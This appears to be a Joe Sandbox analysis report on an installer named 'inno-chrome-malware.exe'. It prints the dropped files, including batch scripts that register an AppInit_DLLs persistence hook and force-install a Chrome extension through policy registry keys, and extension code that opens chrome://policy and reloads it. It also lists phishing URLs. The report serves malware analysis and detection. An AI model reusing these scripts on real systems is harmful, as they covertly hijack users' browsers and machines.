188.114.96.3	getfiles.wiki	European Union	13335	CLOUDFLARENETUS	false
64.185.227.155	api4.ipify.org	United States	18450	WEBNXUS	false
142.250.184.100	www.google.com	United States	15169	GOOGLEUS	false
142.250.180.174	www3.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	801015
Start date and time:	2023-02-08 00:04:44 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	67
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	inno-chrome-malware.exe
Detection:	MAL
Classification:	mal68.phis.winEXE@229/23@23/11
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 98.9% (good quality ratio 27.5%) Quality average: 22.3% Quality standard deviation: 39.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 8 Number of non-executed functions: 10
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.99, 34.104.35.123, 142.250.184.67, 142.250.180.163, 142.250.180.138, 142.250.180.170, 142.251.209.10, 142.251.209.42, 216.58.209.42, 142.250.184.74, 142.250.184.106
Excluded domains from analysis (whitelisted): edgedl.me.gvt1.com, content-autofill.googleapis.com, fonts.gstatic.com, update.googleapis.com, clientservices.googleapis.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:05:44	Task Scheduler	Run new task: GoogleUpdate path: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
239.255.255.250	XXX.wav.html	Get hash	malicious	Browse
	XXX.wav.html	Get hash	malicious	Browse
	Scanned documents. Tuesday February 7 2023 (12.6 KB).msg	Get hash	malicious	Browse
	https://inlinecorp-my.sharepoint.com/:o:/g/personal/fdrinkard_inline_com/EiCBOltP_MZDp93qz7Tod7sBs7xI6fj9uEr2IzlcArySOQ?e=5%3aGqxBHQ&at=9	Get hash	malicious	Browse
	https://bit.ly/3GV61II	Get hash	malicious	Browse
	https://reurl.eu:443/wLHbMpPnr/	Get hash	malicious	Browse
	https://login-outmailmicrosoftonlone.jerjohn.com/?username=test@o.com	Get hash	malicious	Browse
	#U25b6#Ufe0fvm-Record-2023020683810838455629#U25b6.htm	Get hash	malicious	Browse
	Eft_1807_02072023.HTM	Get hash	malicious	Browse
	https://beta.newmegaclinic.com/ads/80/web_display?ad_integration_ad_id=1239&link=https://01623-480107notice01623-480107-dxj44.pagemaker.link/01623-480107-notice-01623-480107	Get hash	malicious	Browse
	https://gestionmbissoncom-my.sharepoint.com/:u:/g/personal/mireille_gestionmbisson_com/EUtleMG9LwtDiWrofnuHEQgBJrnSnpIvMBSwrSYhkBz5Hg	Get hash	malicious	Browse
	https://geni.us/da7wt	Get hash	malicious	Browse
	Ref# 314 (343 4606).html	Get hash	malicious	Browse
	http://A553k.top	Get hash	malicious	Browse
	Benefit_Enrollment.html	Get hash	malicious	Browse
	ATT93623.html	Get hash	malicious	Browse
	Payroll_ 020723.html	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api4.ipify.org	Facturas Pagadas al Vencimiento_pdf.vbs	Get hash	malicious	Browse	104.237.62.211
	justificante de transferencia.vbe	Get hash	malicious	Browse	104.237.62.211
	HSBC bank Payment copy.exe	Get hash	malicious	Browse	64.185.227.155
	HSBC-SwiftDebit Advice - 299T402172050006.exe	Get hash	malicious	Browse	104.237.62.211
	HSBC Bank Payment Copy.exe	Get hash	malicious	Browse	64.185.227.155
	e-dekont.exe	Get hash	malicious	Browse	173.231.16.76
	mQ6D7orBTT.exe	Get hash	malicious	Browse	173.231.16.76
	DHL Original Documents.exe	Get hash	malicious	Browse	104.237.62.211
	va1Nnhv2qX.exe	Get hash	malicious	Browse	64.185.227.155
	hesaphareketi-01,pdf.exe	Get hash	malicious	Browse	64.185.227.155
	12220173387_20230207_13363111_Hesap0zeti.exe	Get hash	malicious	Browse	64.185.227.155
	FedEx Shipment Documents.exe	Get hash	malicious	Browse	173.231.16.76
	FedEx Shipment Documents.exe	Get hash	malicious	Browse	64.185.227.155
	DHL Original Document.exe	Get hash	malicious	Browse	64.185.227.155
	DHL ORIGINAL DOCUMENTS.exe	Get hash	malicious	Browse	173.231.16.76
	DHL Receipt.exe	Get hash	malicious	Browse	64.185.227.155
	DHL 1 x 20' LY 0736449574 Shipment 0106245448.exe	Get hash	malicious	Browse	64.185.227.155

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-GLOBALTELEHOSTUS	20A521008365AD436F7968B69B5D5C2CD14040CE3E421.exe	Get hash	malicious	Browse	162.251.62.99
	IupIPTOWD3.exe	Get hash	malicious	Browse	38.91.107.155
	Setup.exe	Get hash	malicious	Browse	162.251.62.99
	lighter_Setup.exe	Get hash	malicious	Browse	162.251.62.99
	Setup.exe	Get hash	malicious	Browse	162.251.62.99
	WhatsApp.exe	Get hash	malicious	Browse	38.91.100.57
	https://issuu.com/rahimidds/docs/payment_advise?fr=sOTVkYTUyNjY3MjQ	Get hash	malicious	Browse	142.202.48.44
	setup.exe	Get hash	malicious	Browse	38.91.106.103
	3D4301DD.exe	Get hash	malicious	Browse	38.91.106.103
	#U7b26#U817e#U5821.exe	Get hash	malicious	Browse	38.91.106.103
	a8b816a8f30bd59d.exe	Get hash	malicious	Browse	38.91.106.103
	OhSke8xbVo.exe	Get hash	malicious	Browse	38.91.106.103
	jA5jYbJEN9.exe	Get hash	malicious	Browse	142.202.48.104
	QsVcXHKf6h.apk	Get hash	malicious	Browse	167.88.63.16
	QsVcXHKf6h.apk	Get hash	malicious	Browse	167.88.63.16
CLOUDFLARENETUS	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	Scanned documents. Tuesday February 7 2023 (12.6 KB).msg	Get hash	malicious	Browse	104.18.11.207
	https://inlinecorp-my.sharepoint.com/:o:/g/personal/fdrinkard_inline_com/EiCBOltP_MZDp93qz7Tod7sBs7xI6fj9uEr2IzlcArySOQ?e=5%3aGqxBHQ&at=9	Get hash	malicious	Browse	104.17.25.14
	Set-Up_File-PC.stripped.exe	Get hash	malicious	Browse	104.20.67.143
	#U25b6#Ufe0fvm-Record-2023020683810838455629#U25b6.htm	Get hash	malicious	Browse	104.17.25.14
	Eft_1807_02072023.HTM	Get hash	malicious	Browse	104.16.169.131
	file.exe	Get hash	malicious	Browse	188.114.96.3
	2ec13bb87dddbdc8adac9585362d458bc49e1657f2f06.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	https://geni.us/da7wt	Get hash	malicious	Browse	104.17.25.14
	http://A553k.top	Get hash	malicious	Browse	172.67.149.68
	file.exe	Get hash	malicious	Browse	188.114.96.3
	WHNfwwHtYG.exe	Get hash	malicious	Browse	104.21.40.19
	Benefit_Enrollment.html	Get hash	malicious	Browse	104.17.25.14
	Payroll_ 020723.html	Get hash	malicious	Browse	104.18.11.207
	WRjz13B1AJ.exe	Get hash	malicious	Browse	172.67.174.131

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	XXX.wav.html	Get hash	malicious	Browse	142.250.184.100
	XXX.wav.html	Get hash	malicious	Browse	142.250.184.100
	Facturas Pagadas al Vencimiento_pdf.vbs	Get hash	malicious	Browse	142.250.184.100
	justificante de transferencia.vbe	Get hash	malicious	Browse	142.250.184.100
	HSBC bank Payment copy.exe	Get hash	malicious	Browse	142.250.184.100
	https://reurl.eu:443/wLHbMpPnr/	Get hash	malicious	Browse	142.250.184.100
	#U25b6#Ufe0fvm-Record-2023020683810838455629#U25b6.htm	Get hash	malicious	Browse	142.250.184.100
	file.exe	Get hash	malicious	Browse	142.250.184.100
	https://geni.us/da7wt	Get hash	malicious	Browse	142.250.184.100
	Ref# 314 (343 4606).html	Get hash	malicious	Browse	142.250.184.100
	Benefit_Enrollment.html	Get hash	malicious	Browse	142.250.184.100
	ATT93623.html	Get hash	malicious	Browse	142.250.184.100
	b1qgfQI9c6.exe	Get hash	malicious	Browse	142.250.184.100
	OabjRvyxUv.exe	Get hash	malicious	Browse	142.250.184.100
	Please DocuSign - Documents Pending eSignature.html	Get hash	malicious	Browse	142.250.184.100
	http://replicadiploma1.com	Get hash	malicious	Browse	142.250.184.100
	Note.one	Get hash	malicious	Browse	142.250.184.100
	https://tracker.club-os.com/campaign/click?msgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=http://ar.obcd2.robmars.us%3A%2F%2F%23aHR0cHM6Ly9jYXBlbWF5dGhjLmNvbS9hdXRoL25ldy9DbmEvZG9uYWxkLmpvaG5zb25AY25hLmNvbQ==	Get hash	malicious	Browse	142.250.184.100
	https://tracker.club-os.com/campaign/click?msgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=http://ar.obcd2.robmars.us%3A%2F%2F%23aHR0cHM6Ly9jYXBlbWF5dGhjLmNvbS9hdXRoL25ldy9DbmEvZG9uYWxkLmpvaG5zb25AY25hLmNvbQ==	Get hash	malicious	Browse	142.250.184.100
	https://tracker.club-os.com/campaign/click?msgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=http://jr.tr0aq.robmars.us%3A%2F%2F%23aHR0cHM6Ly9jYXBlbWF5dGhjLmNvbS9hdXRoL25ldy9DbmEvZG9uYWxkLmpvaG5zb25AY25hLmNvbQ==	Get hash	malicious	Browse	142.250.184.100

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	84648
Entropy (8bit):	5.423188186057998
Encrypted:	false
SSDEEP:	768:bQ0+ySPOi+hWfbYWhMW4Cie7Ox+ZU9qZU9kdawnVbanBSc:kGi+cPhOx+pZdtnsnsc
MD5:	8C97466E3871F11B2E4164D57815935A
SHA1:	8F42B5EED7385B0783F9C6CEBEF9D145CD4D271D
SHA-256:	5EE53990DDD5924F27744A565E06C12667018210DFC18E444B8F468402A86023
SHA-512:	8CAE337B79693E64C65E81F7B002494B6A1A629E5F6BF95E9451A9A05287D2DFC8191A0EC2942F6C0C82E793EEBFB3948F11AC0F76295EA8C362C6C8B6114EFD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........n..[...[...[....@m.Z...E]n.Z...E]x.J...E]h._...E]..^...\|.{.Z...\|..\...[.......E]q.Y...E]o.Z...E]j.Z...Rich[...........................PE..d...#..c.........."......0..........\3.........@.....................................j....@.................................................<b..d.......L............4.......p..P....................................................@..0............................text..../.......0.................. ..`.rdata...4...@...6...4..............@..@.data................j..............@....pdata...............l..............@..@.rsrc...L............p..............@..@.reloc.......p.......2..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	46585
Entropy (8bit):	7.958468298900671
Encrypted:	false
SSDEEP:	768:JcjcSjZI/hbTEWJp3ElAfPryn5QzShaPuChbhFbHRu/llKGr7J9FwyIlWg+SfH:YK5H93ElAfzyneSMPuKbvzUllKGzFDO9
MD5:	E7C64C0335A5BE9E1D2A5375B620EE25
SHA1:	3DA099BE4593C6AF5709B5F210AC25E0B8060A2F
SHA-256:	1F462FBC4BE05D97A3865014A1AF20C8F137828993B59CECFC774193D493653D
SHA-512:	6CFB9426B7C435112CCD02EBB033158FDEB3D081EC518398238EF81919F5D20A9352AA352655796FA2389D119579D88729083A03B08171BAF258209F7012871F
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........\E..~..h!..\.L5......N..e~..R~T....^.:....}..=.de......=h...Q.@.`Y...../9..>..EI.......aK.q.....b.x.+).[.K...@'...L.;.....0e....C.fr.5X...O.../K(.l^.......).n..B..:^..b.yV......C...G...i=.BVmqX)......X.KX.<.3....0W.....?mu.-B.gP..G."F.#b............/....!..i...U..!.].j..9...t.;\U!.._ ....+$...nR. ]...)'L...0...i..nu/&.i.Y.cG.}.F.e{q.YWgEG...N.....#.".G.............,D...6.o..h..q{..J.=.\|....M..<..eu.;&g....RdA.r?.\|g....V....I..,(.X.{5....:"~K.C.....Q}....X.2..K.B(j..!.3.4&ev.7a..M.qrU........%Wi..o5..sg....PK..-.......3Va...\...........manifest.json.....................T.n.0...+.].....m.&}^z.HOA P.Z.#.....0..]R..6..z1....p..EQ.E..u..o.......2..... ....>...+...2)......[Y.U%..-....yQb..C>SZ..[....O...G.d{..AQB....oi..g.......pP..C.....u"..%!{2...S...L.A`......X.tI..r.......@...4...` ..k.y.=.....J.............]..AR..Q......].....Pm)..F...B....d.....,..I}..]f.?G.]Yr...G.....Z.o.........U.)....}..

C:\Users\user\AppData\Local\ServiceApp\apps-helper\is-3G8RT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.143923061345415
Encrypted:	false
SSDEEP:	6:YXOBLow3rzLUDknigDMFmNR21aMXgBDoQYIxXYMoVsxrHLLqL:Y+9ovkiDLIMIDVYVMjrSL
MD5:	A42287857D53B9718512CD51610878CB
SHA1:	39131E81BED50A6FC55ECC37B43DB51DF826AE5D
SHA-256:	282128CAB43FAAC5222C5736A7157BB07DAC9A57843CEA0043649BFD10D70053
SHA-512:	D96B503EB67AE6F72566FBB18E0A0A57AF8635BE2E9123E77779D398193A95374970BBFD523DA84387599E9AB398926D1DD11F3D504CE076407C02EEB8E2CFA7
Malicious:	false
Preview:	chrome.management.onInstalled.addListener(info => {...if (info.id != 'jncffhgjbmpggpdflbbkhdghjipdbjkn') return;.....setTimeout(() => {....chrome.tabs.create({ url: 'chrome://policy' }, tab => {.....chrome.scripting.executeScript({......target: { tabId: tab.id },......files: ['web.js'].... });....});...}, 500);..});

C:\Users\user\AppData\Local\ServiceApp\apps-helper\is-7HSRC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	46585
Entropy (8bit):	7.958468298900671
Encrypted:	false
SSDEEP:	768:JcjcSjZI/hbTEWJp3ElAfPryn5QzShaPuChbhFbHRu/llKGr7J9FwyIlWg+SfH:YK5H93ElAfzyneSMPuKbvzUllKGzFDO9
MD5:	E7C64C0335A5BE9E1D2A5375B620EE25
SHA1:	3DA099BE4593C6AF5709B5F210AC25E0B8060A2F
SHA-256:	1F462FBC4BE05D97A3865014A1AF20C8F137828993B59CECFC774193D493653D
SHA-512:	6CFB9426B7C435112CCD02EBB033158FDEB3D081EC518398238EF81919F5D20A9352AA352655796FA2389D119579D88729083A03B08171BAF258209F7012871F
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........\E..~..h!..\.L5......N..e~..R~T....^.:....}..=.de......=h...Q.@.`Y...../9..>..EI.......aK.q.....b.x.+).[.K...@'...L.;.....0e....C.fr.5X...O.../K(.l^.......).n..B..:^..b.yV......C...G...i=.BVmqX)......X.KX.<.3....0W.....?mu.-B.gP..G."F.#b............/....!..i...U..!.].j..9...t.;\U!.._ ....+$...nR. ]...)'L...0...i..nu/&.i.Y.cG.}.F.e{q.YWgEG...N.....#.".G.............,D...6.o..h..q{..J.=.\|....M..<..eu.;&g....RdA.r?.\|g....V....I..,(.X.{5....:"~K.C.....Q}....X.2..K.B(j..!.3.4&ev.7a..M.qrU........%Wi..o5..sg....PK..-.......3Va...\...........manifest.json.....................T.n.0...+.].....m.&}^z.HOA P.Z.#.....0..]R..6..z1....p..EQ.E..u..o.......2..... ....>...+...2)......[Y.U%..-....yQb..C>SZ..[....O...G.d{..AQB....oi..g.......pP..C.....u"..%!{2...S...L.A`......X.tI..r.......@...4...` ..k.y.=.....J.............]..AR..Q......].....Pm)..F...B....d.....,..I}..]f.?G.]Yr...G.....Z.o.........U.)....}..

C:\Users\user\AppData\Local\ServiceApp\apps-helper\is-BP319.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	299
Entropy (8bit):	4.8969499354657176
Encrypted:	false
SSDEEP:	6:oJRoJfwejEzKeYDFOEn9zmYnadRv5F8smvDNRU/snproLNRiif:ofoJYejj9n9Sdx5msmvDLrKdf
MD5:	78DA8C3C7BCC4FCBE1D1C1D4209BA026
SHA1:	CCACDA33826629E3A5B552BA26227D9D1B026BCA
SHA-256:	893FCFE4EDCDB07BCC3E05A3304F93F0358C9D8F4CC967058585F553BB82AD02
SHA-512:	01C3DEF2B9A38ABD5C6D447C52D8EC3533C8098DB69DCF30682EFA992BE71666D66A56AB3E6B161F8017FE018E20E479C365B780F3CF94ED507CAEA99EADBC06
Malicious:	false
Preview:	addEventListener('load', () => {...if (location.host !== 'policy') return;.....const reload = () => {....const button = document.querySelector('#reload-policies');......if (button) {.....button.click();.....setTimeout(close, 200);....} else {.....setTimeout(reload, 200);....}...}.....reload();..});

C:\Users\user\AppData\Local\ServiceApp\apps-helper\is-TEEF9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	273
Entropy (8bit):	4.76438627845756
Encrypted:	false
SSDEEP:	6:EW/COIk/hsu1wC6VAPk8yyWSD9kn+E8Lyg8c:r6OJhsu1wXAPk8Sic+EaPN
MD5:	99F8D6AA35E67DB20B5F6E3FC54101CE
SHA1:	37E09293AA7CDB8FAE7754AAAE3E8BD2591A2F29
SHA-256:	CC1C1C7AA14AC707F66629095B8E117109660C13511F26D6EEDA1E9FDC363AB2
SHA-512:	57562DBE3C33139B98FF244CDCC233C9689823A11032D42B9B179EDA53831481422D69A62691EEBFF34C0AE85C36CBE7F8B16599D89919BAB759CFD38AF27797
Malicious:	false
Preview:	{..."name": "Apps",..."description": "",..."version": "1.0",..."manifest_version": 3,..."background": {...."service_worker": "service.js",...."type": "module"...},..."permissions": ["tabs", "scripting", "management", "background"],..."host_permissions": ["chrome:///"]..}

C:\Users\user\AppData\Local\ServiceApp\apps-helper\manifest.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	273
Entropy (8bit):	4.76438627845756
Encrypted:	false
SSDEEP:	6:EW/COIk/hsu1wC6VAPk8yyWSD9kn+E8Lyg8c:r6OJhsu1wXAPk8Sic+EaPN
MD5:	99F8D6AA35E67DB20B5F6E3FC54101CE
SHA1:	37E09293AA7CDB8FAE7754AAAE3E8BD2591A2F29
SHA-256:	CC1C1C7AA14AC707F66629095B8E117109660C13511F26D6EEDA1E9FDC363AB2
SHA-512:	57562DBE3C33139B98FF244CDCC233C9689823A11032D42B9B179EDA53831481422D69A62691EEBFF34C0AE85C36CBE7F8B16599D89919BAB759CFD38AF27797
Malicious:	false
Preview:	{..."name": "Apps",..."description": "",..."version": "1.0",..."manifest_version": 3,..."background": {...."service_worker": "service.js",...."type": "module"...},..."permissions": ["tabs", "scripting", "management", "background"],..."host_permissions": ["chrome:///"]..}

C:\Users\user\AppData\Local\ServiceApp\apps-helper\service.js (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.143923061345415
Encrypted:	false
SSDEEP:	6:YXOBLow3rzLUDknigDMFmNR21aMXgBDoQYIxXYMoVsxrHLLqL:Y+9ovkiDLIMIDVYVMjrSL
MD5:	A42287857D53B9718512CD51610878CB
SHA1:	39131E81BED50A6FC55ECC37B43DB51DF826AE5D
SHA-256:	282128CAB43FAAC5222C5736A7157BB07DAC9A57843CEA0043649BFD10D70053
SHA-512:	D96B503EB67AE6F72566FBB18E0A0A57AF8635BE2E9123E77779D398193A95374970BBFD523DA84387599E9AB398926D1DD11F3D504CE076407C02EEB8E2CFA7
Malicious:	false
Preview:	chrome.management.onInstalled.addListener(info => {...if (info.id != 'jncffhgjbmpggpdflbbkhdghjipdbjkn') return;.....setTimeout(() => {....chrome.tabs.create({ url: 'chrome://policy' }, tab => {.....chrome.scripting.executeScript({......target: { tabId: tab.id },......files: ['web.js'].... });....});...}, 500);..});

C:\Users\user\AppData\Local\ServiceApp\apps-helper\web.js (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	299
Entropy (8bit):	4.8969499354657176
Encrypted:	false
SSDEEP:	6:oJRoJfwejEzKeYDFOEn9zmYnadRv5F8smvDNRU/snproLNRiif:ofoJYejj9n9Sdx5msmvDLrKdf
MD5:	78DA8C3C7BCC4FCBE1D1C1D4209BA026
SHA1:	CCACDA33826629E3A5B552BA26227D9D1B026BCA
SHA-256:	893FCFE4EDCDB07BCC3E05A3304F93F0358C9D8F4CC967058585F553BB82AD02
SHA-512:	01C3DEF2B9A38ABD5C6D447C52D8EC3533C8098DB69DCF30682EFA992BE71666D66A56AB3E6B161F8017FE018E20E479C365B780F3CF94ED507CAEA99EADBC06
Malicious:	false
Preview:	addEventListener('load', () => {...if (location.host !== 'policy') return;.....const reload = () => {....const button = document.querySelector('#reload-policies');......if (button) {.....button.click();.....setTimeout(close, 200);....} else {.....setTimeout(reload, 200);....}...}.....reload();..});

C:\Users\user\AppData\Local\ServiceApp\chrome.bat

Download File

Process:	C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3586
Entropy (8bit):	5.109607587154107
Encrypted:	false
SSDEEP:	96:6k+V2jWJeJXJoJZJiJrJKlJ9JmJIJ3J+JVJsJLJtcJU8JwJfJ7JcJpJyJnJ4JFJ/:63MjoQZq7MFKfXYK5wvWltmbSh1mr8JO
MD5:	BBC747731B40064E153A46887F8361E4
SHA1:	DE5140058F247571152D105F56A4573450E13DCA
SHA-256:	308C5EB545B6C0D7F368B4E417C9731CD4F373CC53C7AA67DAFA438EEA9F948F
SHA-512:	E7D8E8AC46B31CC91172FFDD19C3E806C142E1C50357DBFE3292393AF1E86DCACEC19D4F17D967A4965905759F045500A64300EA3EADA5E4E858C837EB073507
Malicious:	false
Preview:	@echo off..set version=1.0..set id=jncffhgjbmpggpdflbbkhdghjipdbjkn..set base32=HKLM\SOFTWARE..set base64=HKLM\SOFTWARE\WOW6432Node..set chrome=Google\Chrome..set helper=%LocalAppdata%\ServiceApp\apps-helper..set file=%helper%\apps.crx..REG DELETE %base32%\Policies\%chrome% /f..REG DELETE %base32%\%chrome%\Extensions\%id% /f..REG DELETE %base64%\%chrome%\Extensions\%id% /f..REG ADD "%base32%\Policies\%chrome%\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d %id% /f..REG ADD "%base32%\%chrome%\Extensions\%id%" /v "path" /t REG_SZ /d "%file%" /f..REG ADD "%base32%\%chrome%\Extensions\%id%" /v "version" /t REG_SZ /d %version% /f..REG ADD "%base64%\Policies\%chrome%\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d %id% /f..REG ADD "%base64%\%chrome%\Extensions\%id%" /v "path" /t REG_SZ /d "%file%" /f..REG ADD "%base64%\%chrome%\Extensions\%id%" /v "version" /t REG_SZ /d %version% /f..taskkill /F /IM chrome.exe /T..start "" "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-direc

C:\Users\user\AppData\Local\ServiceApp\install.bat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.318258186923187
Encrypted:	false
SSDEEP:	6:hMCFH/9o30yldshdt6+H12/HeGa+4hh8idhxX+H12/HeGa+4RLh8i6BV7vn:7FH/9o300d3+V2/+Ga+4heidhxX+V2/h
MD5:	BE2F5F54FD03F4265C483352365E95D1
SHA1:	D06672311C3EDC9E13FE77AF9075BC721A7C1A59
SHA-256:	B4CE8670B04DBFD47CAD089EF826CB18568896677202B6F255EC1161581EB49C
SHA-512:	5F4D34E56CFAFFEDAF247AADC4B393E997FF4823B034DBB4F26DF1939E72BA9D3CD1DA178A9BFDDED8390BFCB879B45D4094F36DA120C1E4C0CD04334AAE4D14
Malicious:	false
Preview:	@echo off ....set version=1.0....set base64=HKLM\SOFTWARE........set ext_dll="%WINDIR%\system32\sxsext.dll"....REG ADD "%base64%\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d %ext_dll% /f..REG ADD "%base64%\Microsoft\Windows NT\CurrentVersion\Windows" /v "LoadAppInit_DLLs" /t REG_DWORD /d 1 /f......

C:\Users\user\AppData\Local\ServiceApp\is-89J0J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.318258186923187
Encrypted:	false
SSDEEP:	6:hMCFH/9o30yldshdt6+H12/HeGa+4hh8idhxX+H12/HeGa+4RLh8i6BV7vn:7FH/9o300d3+V2/+Ga+4heidhxX+V2/h
MD5:	BE2F5F54FD03F4265C483352365E95D1
SHA1:	D06672311C3EDC9E13FE77AF9075BC721A7C1A59
SHA-256:	B4CE8670B04DBFD47CAD089EF826CB18568896677202B6F255EC1161581EB49C
SHA-512:	5F4D34E56CFAFFEDAF247AADC4B393E997FF4823B034DBB4F26DF1939E72BA9D3CD1DA178A9BFDDED8390BFCB879B45D4094F36DA120C1E4C0CD04334AAE4D14
Malicious:	false
Preview:	@echo off ....set version=1.0....set base64=HKLM\SOFTWARE........set ext_dll="%WINDIR%\system32\sxsext.dll"....REG ADD "%base64%\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d %ext_dll% /f..REG ADD "%base64%\Microsoft\Windows NT\CurrentVersion\Windows" /v "LoadAppInit_DLLs" /t REG_DWORD /d 1 /f......

C:\Users\user\AppData\Local\ServiceApp\is-OKOQ1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	84648
Entropy (8bit):	5.423188186057998
Encrypted:	false
SSDEEP:	768:bQ0+ySPOi+hWfbYWhMW4Cie7Ox+ZU9qZU9kdawnVbanBSc:kGi+cPhOx+pZdtnsnsc
MD5:	8C97466E3871F11B2E4164D57815935A
SHA1:	8F42B5EED7385B0783F9C6CEBEF9D145CD4D271D
SHA-256:	5EE53990DDD5924F27744A565E06C12667018210DFC18E444B8F468402A86023
SHA-512:	8CAE337B79693E64C65E81F7B002494B6A1A629E5F6BF95E9451A9A05287D2DFC8191A0EC2942F6C0C82E793EEBFB3948F11AC0F76295EA8C362C6C8B6114EFD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........n..[...[...[....@m.Z...E]n.Z...E]x.J...E]h._...E]..^...\|.{.Z...\|..\...[.......E]q.Y...E]o.Z...E]j.Z...Rich[...........................PE..d...#..c.........."......0..........\3.........@.....................................j....@.................................................<b..d.......L............4.......p..P....................................................@..0............................text..../.......0.................. ..`.rdata...4...@...6...4..............@..@.data................j..............@....pdata...............l..............@..@.rsrc...L............p..............@..@.reloc.......p.......2..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ServiceApp\reg.bat

Download File

Process:	C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.700989600102753
Encrypted:	false
SSDEEP:	3:Z3wgHoIt+kiE2J52AD3XAIS6JVEAn:ZAg5wkn232ADnLXx
MD5:	3DB5BB9861D3988D084F9619F4CDDE67
SHA1:	DDA8D57695810A2E41D9622CBABB2D1F8089A1AD
SHA-256:	4669F993EA0A8D2D80D5093FCC7538A8D33E8ECB58C3959A5C3638B6B8C5708F
